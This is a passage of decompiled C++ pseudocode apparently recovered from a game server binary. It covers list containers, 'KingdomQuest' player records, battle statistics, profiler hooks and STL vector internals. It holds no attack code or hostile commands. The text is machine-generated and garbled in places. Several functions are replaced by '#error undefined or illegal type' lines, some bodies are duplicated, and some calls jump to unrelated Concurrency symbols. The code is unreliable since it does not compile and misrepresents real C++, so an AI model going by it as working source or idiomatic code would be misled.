eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004849F0) -------------------------------------------------------- #error "4849F0: undefined or illegal type '#1265' (funcsize=66)" //----- (00484AF0) -------------------------------------------------------- void __thiscall List::_List(KingdomQuest::KQPlayerInfoList *this) { void *v1; // ecx@1 this->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 6478B0: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (00484B10) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00484B60) -------------------------------------------------------- KingdomQuest::KQPlayerInform *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(KingdomQuest::KQPlayerInform *, List *, unsigned __int16, KingdomQuest::KQPlayerInform *), unsigned __int16 *hnd, KingdomQuest::KQPlayerInform *key) { KingdomQuest::KQPlayerInform *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(KingdomQuest::KQPlayerInform *, List *, unsigned __int16, KingdomQuest::KQPlayerInform *); // [sp+8h] [bp-1Ch]@1 KingdomQuest::KQPlayerInform *v8; // [sp+Ch] [bp-18h]@1 KingdomQuest::KQPlayerInform *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (00484BD0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00484CF0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00484E10) -------------------------------------------------------- void __thiscall KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this) { KingdomQuest::KingdomQuestContainer *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; _eh_vector_destructor_iterator_( this->kqc_array, 0x3F4u, 150, (void (__thiscall *)(void *))KingdomQuest::KQElement::_KQElement); v1->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 647894: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (00484E80) -------------------------------------------------------- #error "484E80: undefined or illegal type '#1265' (funcsize=761)" //----- (00485A40) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(KingdomQuest::KQPlayerInfoList *this, unsigned int plyregnum) { unsigned int v2; // ebx@1 KingdomQuest::KQPlayerInfoList *v3; // esi@1 KingdomQuest::KQPlayerInform *v4; // eax@1 int v5; // eax@2 KingdomQuest::KQPlayerInform key; // [sp+Ch] [bp-34h]@1 v2 = plyregnum; v3 = this; key.kqpi_PlyRegnum = plyregnum; v4 = List::l_Search( &this->baseclass_0.baseclass_0, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&plyregnum, &key); if ( !v4 ) { v5 = v3->baseclass_0.baseclass_0.l_Finger.empty; if ( (_WORD)v5 == -1 || (v4 = v3->baseclass_0.baseclass_0.vfptr->l_AllocZ((List *)v3, v5)) == 0 ) return 0; v4->kqpi_PlyRegnum = v2; v4->kqpi_KnockDown = 0; v4->kqpi_BattleStat.bs_KnockDownNum = 0; v4->kqpi_BattleStat.bs_HittedNum = 0; v4->kqpi_BattleStat.bs_CriticalNum = 0; v4->kqpi_BattleStat.bs_SkillBlast = 0; v4->kqpi_BattleStat.bs_HealAmount = 0; v4->kqpi_BattleStat.bs_DamageAmount = 0; v4->kqpi_BattleStat.bs_KillScore = 0; v4->kqpi_BattleStat.bs_Dead = 0; v4->kqpi_BattleStat.bs_Kill = 0; v4->kqpi_BattleStat.bs_Score = 10000; } return v4->kqpi_KnockDown; } //----- (00485AD0) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(KingdomQuest::KQPlayerInfoList *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int), unsigned int plyregnum) { List *v3; // esi@1 unsigned int v4; // edi@1 KingdomQuest::KQPlayerInform *v5; // eax@1 int result; // eax@2 int v7; // eax@3 int v8; // esi@3 KingdomQuest::KQPlayerInform key; // [sp+Ch] [bp-40h]@1 int v10; // [sp+48h] [bp-4h]@1 v3 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = plyregnum; v10 = 0; key.kqpi_PlyRegnum = plyregnum; v5 = List::l_Search( v3, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&plyregnum, &key); if ( v5 ) { v7 = func(v5, v4); --funcallanalizer.fca_stackpoint; v8 = v7; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); result = v8; } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc"); result = 0; } return result; } //----- (00485BD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetBattleStat(void *this) { void *v1; // esi@1 KingdomQuest::KQElement *v2; // edi@1 FunctionProfiler::PerformanceRecorder *v3; // ecx@2 KingdomQuest::KQPlayerInform *v5; // eax@4 int v6; // esi@5 char *v7; // [sp-4h] [bp-58h]@2 __int16 hnd; // [sp+Ch] [bp-48h]@4 FunctionEntarance _; // [sp+10h] [bp-44h]@1 KingdomQuest::KQPlayerInform key; // [sp+14h] [bp-40h]@4 int v11; // [sp+50h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetBattleStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v2 = ShineObjectClass::ShinePlayer::sp_MyKQElement(v1); if ( !v2 ) { --funcallanalizer.fca_stackpoint; v11 = -1; v7 = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; v3 = &_PerformanceRecorder; LABEL_3: FunctionProfiler::PerformanceRecorder::pr_Exit(v3, v7); return (int)&ShineObjectClass::ShineObject::so_DefBattleStat; } key.kqpi_PlyRegnum = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v5 = List::l_Search( &v2->kqe_PlayerList.baseclass_0.baseclass_0, KingdomQuest::KQPlayerInform::regnumcomp, (unsigned __int16 *)&hnd, &key); --funcallanalizer.fca_stackpoint; v7 = "ShineObjectClass::ShinePlayer::so_GetBattleStat"; v11 = -1; v3 = &_PerformanceRecorder; if ( !v5 ) goto LABEL_3; v6 = (int)&v5->kqpi_BattleStat; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetBattleStat"); return v6; } //----- (00485CE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_KQElementFunction(void *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int)) { void *v2; // esi@1 KingdomQuest::KQElement *v3; // edi@1 int result; // eax@2 unsigned int v5; // eax@3 int v6; // eax@3 int v7; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQElementFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShinePlayer::sp_MyKQElement(v2); if ( v3 ) { v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v6 = KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(&v3->kqe_PlayerList, func, v5); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQElementFunction"); result = 0; } return result; } //----- (00485DD0) -------------------------------------------------------- void __thiscall CommonList::CommonList(CommonList *this, int size) { CommonList *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 int v5; // edx@2 ListStruct *v6; // ecx@4 KingdomQuest::KQPlayerInform *v7; // ebp@4 int v8; // ecx@4 v2 = this; v3 = 0; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, size); v2->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2->cl_Array = (KingdomQuest::KQPlayerInform *)operator new__(52 * size); v4 = 0; if ( size > 0 ) { v5 = 0; do { if ( v4 < v2->baseclass_0.l_MaxSize ) { v6 = v2->baseclass_0.l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &v2->cl_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < size ); } } // 6478B0: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (00485E70) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, KingdomQuest::KQElement *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); KingdomQuest::KQElement::operator_(v3, (int)ele); return 1; } // 485E85: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00485EA0) -------------------------------------------------------- void *__thiscall KingdomQuest::KQElement::operator_(void *this, int a2) { int v2; // ebp@1 void *v3; // ebx@1 int v4; // edi@1 int v5; // esi@1 int v7; // [sp+10h] [bp-4h]@1 signed int v8; // [sp+18h] [bp+4h]@1 v2 = a2; v3 = this; *(_DWORD *)this = *(_DWORD *)a2; PROTO_KQ_INFO::operator_((int)((char *)this + 4), a2 + 4); v4 = a2 + 328; v5 = (int)((char *)v3 + 356); v7 = a2 - (_DWORD)v3; v8 = 4; do { PROTO_KQ_MAP_INFO::operator_(v5 - 28, v4); *(_DWORD *)v5 = *(_DWORD *)(v7 + v5); *(_DWORD *)(v5 + 4) = *(_DWORD *)(v4 + 32); v4 += 36; v5 += 36; --v8; } while ( v8 ); memcpy((char *)v3 + 472, (const void *)(v2 + 472), 0x100u); memcpy((char *)v3 + 728, (const void *)(v2 + 728), 0x100u); CommonList::operator_((int)((char *)v3 + 984), v2 + 984); return v3; } //----- (00485F50) -------------------------------------------------------- int __thiscall CommonList::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); return result; } //----- (00485F90) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, KingdomQuest::KQElement *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); KingdomQuest::KQElement::operator_(v3, (int)ele); return 1; } // 485FA6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00485FC0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, KingdomQuest::KQElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; KingdomQuest::KQElement::operator_(ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00486010) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, KingdomQuest::KQElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; KingdomQuest::KQElement::operator_(ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00486060) -------------------------------------------------------- void __thiscall KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(KingdomQuest::KQPlayerInfoList *this) { KingdomQuest::KQPlayerInfoList *v1; // esi@1 v1 = this; CommonList::CommonList(&this->baseclass_0, 100); v1->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; } // 6478B0: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (00486080) -------------------------------------------------------- void __thiscall KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this) { KingdomQuest::KingdomQuestContainer *v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // ecx@1 int v5; // edi@3 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x96u); v1->baseclass_0.vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; _eh_vector_constructor_iterator_( v1->kqc_array, 0x3F4u, 150, (void (__thiscall *)(void *))KingdomQuest::KQElement::KQElement, (void (__thiscall *)(void *))KingdomQuest::KQElement::_KQElement); v2 = 0; v3 = 0; v4 = (int)v1->kqc_array; do { *(_DWORD *)(v4 + 4) = -1; if ( v2 < v1->baseclass_0.l_MaxSize ) { v5 = (int)&v1->baseclass_0.l_Array[v3]; if ( !*(_DWORD *)v5 ) *(_DWORD *)v5 = v4; } ++v3; ++v2; v4 += 1012; } while ( v3 < 150 ); } // 647894: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (00486130) -------------------------------------------------------- ItemRandomOption::OptionCountTable *__cdecl std::copy(ItemRandomOption::OptionCountTable *_First, ItemRandomOption::OptionCountTable *_Last, ItemRandomOption::OptionCountTable *_Dest) { ItemRandomOption::OptionCountTable *v3; // ecx@1 ItemRandomOption::OptionCountTable *result; // eax@1 v3 = _First; for ( result = _Dest; v3 != _Last; ++result ) { result->oct_Number = v3->oct_Number; result->oct_Rate = v3->oct_Rate; ++v3; } return result; } //----- (00486160) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(SHINE_XY_TYPE *_First, unsigned int _Count, SHINE_XY_TYPE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 SHINE_XY_TYPE *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { v6->x = _Val->x; v6->y = _Val->y; } ++v6; --v5; } while ( v5 ); } } //----- (00486190) -------------------------------------------------------- KQContribute::PlayerList *__thiscall KQContribute::KQContributeList::kqcl_FindKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // edi@1 KQContribute::PlayerList *v3; // esi@1 KQContribute::PlayerList *v4; // edi@1 KQContribute::PlayerList *result; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqcl_FindKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->kqcl_List._Myfirst; v4 = v2->kqcl_List._Mylast; if ( v3 == v4 ) { LABEL_4: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); result = 0; } else { while ( v3->pl_KQHandle != kqhnd ) { ++v3; if ( v3 == v4 ) goto LABEL_4; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_FindKQ"); result = v3; } return result; } //----- (00486260) -------------------------------------------------------- #error "486260: undefined or illegal type '#593' (funcsize=74)" //----- (00486370) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 SHINE_XY_TYPE *v5; // esi@2 std::vector >::iterator v6; // edx@2 std::vector >::iterator *v7; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (SHINE_XY_TYPE *)_Last != v5 ) { do { **(_DWORD **)&v6 = **(_DWORD **)&v4; *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); *(_DWORD *)&v4 += 8; *(_DWORD *)&v6 += 8; } while ( (SHINE_XY_TYPE *)v4 != v5 ); } this->_Mylast = (SHINE_XY_TYPE *)v6; } v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v7; } //----- (004863B0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00486420) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x1FFFFFFF ) std::vector>::_Xlen(this); v4 = operator new(8 * _Capacity); v2->_Myend = (KQContribute::PlayerContribute *)((char *)v4 + 8 * _Capacity); v2->_Myfirst = (KQContribute::PlayerContribute *)v4; v2->_Mylast = (KQContribute::PlayerContribute *)v4; result = 1; } else { result = 0; } return result; } //----- (00486470) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerContribute *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 KQContribute::PlayerContribute *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 KQContribute::PlayerContribute *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 unsigned int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+38h] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->pc_MobKillNumber; v5 = this; _Tmp = _Val->pc_ChrRegNum; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (KQContribute::PlayerContribute *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (KQContribute::PlayerContribute *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (KQContribute::PlayerContribute *)((char *)v14 + _Counta); v5->_Mylast = (KQContribute::PlayerContribute *)((char *)v14 + 8 * v18); v5->_Myfirst = (KQContribute::PlayerContribute *)v14; } } } //----- (004866C0) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 KQContribute::PlayerContribute *v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::iterator v7; // ecx@7 std::vector >::iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x1FFFFFFF ) std::vector>::_Xlen(v2); v5 = 8 * v4; v6 = operator new(8 * v4); 